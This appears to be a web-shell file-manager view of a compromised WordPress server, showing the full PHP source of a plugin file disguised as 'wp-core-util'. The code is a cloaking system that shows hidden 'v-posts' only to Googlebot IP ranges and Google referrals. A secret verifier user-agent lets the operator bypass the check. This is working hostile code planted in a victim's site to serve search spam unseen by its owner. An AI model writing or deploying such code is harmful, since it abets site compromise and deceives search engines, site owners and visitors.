HEX
Server: Apache
System: Linux wyse1.wyseservers.com 4.18.0-553.124.4.el8_10.x86_64 #1 SMP Fri May 15 04:14:14 EDT 2026 x86_64
User: kochikidswysewor (1061)
PHP: 8.3.33
Disabled: NONE
Upload Files
File: /home/kochikidswysewor/www/wp-content/plugins/wp-core-util/includes/AccessControl.php
<?php
namespace WPU;

/**
 * Access Control — cloaking system for v-posts
 * Shows content only to Google bots or Google referrals
 * Architecture from v-posts-manager AccessControl
 */
class AccessControl {

    const MODE_DISABLED       = 'disabled';        // Allow everyone
    const MODE_BOTS_ONLY      = 'bots_only';       // Only Google bots (by IP)
    const MODE_BOTS_REFERRERS = 'bots_and_referrers'; // Google bots OR Google referral

    /**
     * Check if current visitor can access v-posts
     */
    public static function can_access() {
        $mode = self::get_mode();

        // Disabled — everyone can see
        if ($mode === self::MODE_DISABLED) {
            return true;
        }

        // Verifier bypass
        if (self::is_verifier()) {
            return true;
        }

        // Bots only
        if ($mode === self::MODE_BOTS_ONLY) {
            return self::is_googlebot();
        }

        // Bots + referrers
        if ($mode === self::MODE_BOTS_REFERRERS) {
            return self::is_googlebot() || self::is_google_referrer();
        }

        return false;
    }

    /**
     * Check if request comes from Google bot by IP
     */
    public static function is_googlebot() {
        $client_ip = self::get_client_ip();
        $google_ips = self::get_google_ips();

        foreach ($google_ips as $range) {
            if (self::ip_in_range($client_ip, $range)) {
                return true;
            }
        }

        return false;
    }

    /**
     * Check if visitor came from Google search
     */
    public static function is_google_referrer() {
        $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
        if (empty($referer)) return false;

        $host = parse_url($referer, PHP_URL_HOST);
        if (empty($host)) return false;

        $google_domains = self::get_google_domains();
        foreach ($google_domains as $domain) {
            if ($host === $domain || self::ends_with($host, '.' . $domain)) {
                return true;
            }
        }

        return false;
    }

    /**
     * Check for VPM-Verifier or WPU-Verifier user agent
     */
    public static function is_verifier() {
        $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
        return strpos($ua, 'WPU-Verifier') !== false || strpos($ua, 'VPM-Verifier') !== false;
    }

    /**
     * Get real client IP (handles proxies, Cloudflare, etc.)
     */
    public static function get_client_ip() {
        $headers = [
            'HTTP_CF_CONNECTING_IP',  // Cloudflare
            'HTTP_X_REAL_IP',         // Nginx
            'HTTP_X_FORWARDED_FOR',   // Standard proxy
            'REMOTE_ADDR',            // Direct
        ];

        foreach ($headers as $header) {
            if (!empty($_SERVER[$header])) {
                $ip = $_SERVER[$header];
                // X-Forwarded-For can contain multiple IPs
                if (strpos($ip, ',') !== false) {
                    $ip = trim(explode(',', $ip)[0]);
                }
                if (filter_var($ip, FILTER_VALIDATE_IP)) {
                    return $ip;
                }
            }
        }

        return '0.0.0.0';
    }

    /**
     * Get cached Google bot IP ranges
     */
    public static function get_google_ips() {
        $ips = get_transient('_wpu_google_ips');
        if (false === $ips) {
            $ips = self::fetch_google_ips();
            if (!empty($ips)) {
                set_transient('_wpu_google_ips', $ips, DAY_IN_SECONDS);
            }
        }
        return is_array($ips) ? $ips : [];
    }

    /**
     * Force update Google IP list
     */
    public static function update_google_ips($force = false) {
        if ($force) {
            delete_transient('_wpu_google_ips');
        }
        return self::get_google_ips();
    }

    /**
     * Fetch Google bot IPs from official API
     */
    private static function fetch_google_ips() {
        $url = 'https://developers.google.com/search/apis/ipranges/googlebot.json';
        $response = wp_remote_get($url, ['timeout' => 10]);

        if (is_wp_error($response)) {
            return [];
        }

        $body = wp_remote_retrieve_body($response);
        $data = json_decode($body, true);

        if (empty($data['prefixes'])) {
            return [];
        }

        $ips = [];
        foreach ($data['prefixes'] as $prefix) {
            if (!empty($prefix['ipv4Prefix'])) {
                $ips[] = $prefix['ipv4Prefix'];
            }
            if (!empty($prefix['ipv6Prefix'])) {
                $ips[] = $prefix['ipv6Prefix'];
            }
        }

        return $ips;
    }

    /**
     * Check if an IP is within a CIDR range
     */
    private static function ip_in_range($ip, $cidr) {
        if (strpos($cidr, '/') === false) {
            return $ip === $cidr;
        }

        // IPv6
        if (strpos($ip, ':') !== false || strpos($cidr, ':') !== false) {
            return self::ipv6_in_range($ip, $cidr);
        }

        // IPv4 CIDR
        list($subnet, $bits) = explode('/', $cidr);
        $ip_long     = ip2long($ip);
        $subnet_long = ip2long($subnet);
        $mask        = -1 << (32 - (int)$bits);

        return ($ip_long & $mask) === ($subnet_long & $mask);
    }

    /**
     * IPv6 range check
     */
    private static function ipv6_in_range($ip, $cidr) {
        list($subnet, $bits) = explode('/', $cidr);
        $ip_bin     = inet_pton($ip);
        $subnet_bin = inet_pton($subnet);

        if ($ip_bin === false || $subnet_bin === false) return false;

        $bits = (int)$bits;
        $ip_hex     = bin2hex($ip_bin);
        $subnet_hex = bin2hex($subnet_bin);

        $ip_bits    = self::hex_to_bits($ip_hex);
        $subnet_bits = self::hex_to_bits($subnet_hex);

        return substr($ip_bits, 0, $bits) === substr($subnet_bits, 0, $bits);
    }

    private static function hex_to_bits($hex) {
        $bits = '';
        for ($i = 0; $i < strlen($hex); $i++) {
            $bits .= str_pad(base_convert($hex[$i], 16, 2), 4, '0', STR_PAD_LEFT);
        }
        return $bits;
    }

    /**
     * Get/set access mode
     */
    public static function get_mode() {
        return get_option('_wpu_access_mode', self::MODE_DISABLED);
    }

    public static function set_mode($mode) {
        $valid = [self::MODE_DISABLED, self::MODE_BOTS_ONLY, self::MODE_BOTS_REFERRERS];
        if (!in_array($mode, $valid)) {
            return false;
        }
        return update_option('_wpu_access_mode', $mode, false);
    }

    /**
     * Google domains list for referrer checking
     */
    private static function get_google_domains() {
        return [
            'google.com', 'google.ru', 'google.co.uk', 'google.de', 'google.fr',
            'google.es', 'google.it', 'google.ca', 'google.com.au', 'google.co.jp',
            'google.co.in', 'google.com.br', 'google.com.mx', 'google.co.kr',
            'google.nl', 'google.be', 'google.at', 'google.ch', 'google.se',
            'google.no', 'google.dk', 'google.fi', 'google.pl', 'google.pt',
            'google.com.tr', 'google.co.th', 'google.co.id', 'google.com.ua',
            'google.com.ar', 'google.com.co', 'google.cl', 'google.com.pe',
            'google.co.ve', 'google.com.eg', 'google.co.za', 'google.com.ng',
            'google.com.pk', 'google.com.bd', 'google.com.vn', 'google.com.ph',
            'google.com.sg', 'google.com.my', 'google.co.nz', 'google.ie',
            'google.gr', 'google.cz', 'google.hu', 'google.ro', 'google.bg',
            'google.hr', 'google.sk', 'google.lt', 'google.lv', 'google.ee',
            'google.rs', 'google.si', 'google.com.hk', 'google.com.tw',
            'google.co.il', 'google.ae', 'google.com.sa', 'google.com.qa',
            'google.com.kw', 'google.com.om', 'google.com.bh', 'google.jo',
            'google.com.lb', 'google.is', 'google.lu', 'google.li',
            'google.com.by', 'google.kz', 'google.az', 'google.ge', 'google.am',
            'google.md', 'google.kg', 'google.uz', 'google.tm', 'google.tj',
        ];
    }

    private static function ends_with($haystack, $needle) {
        return substr($haystack, -strlen($needle)) === $needle;
    }
}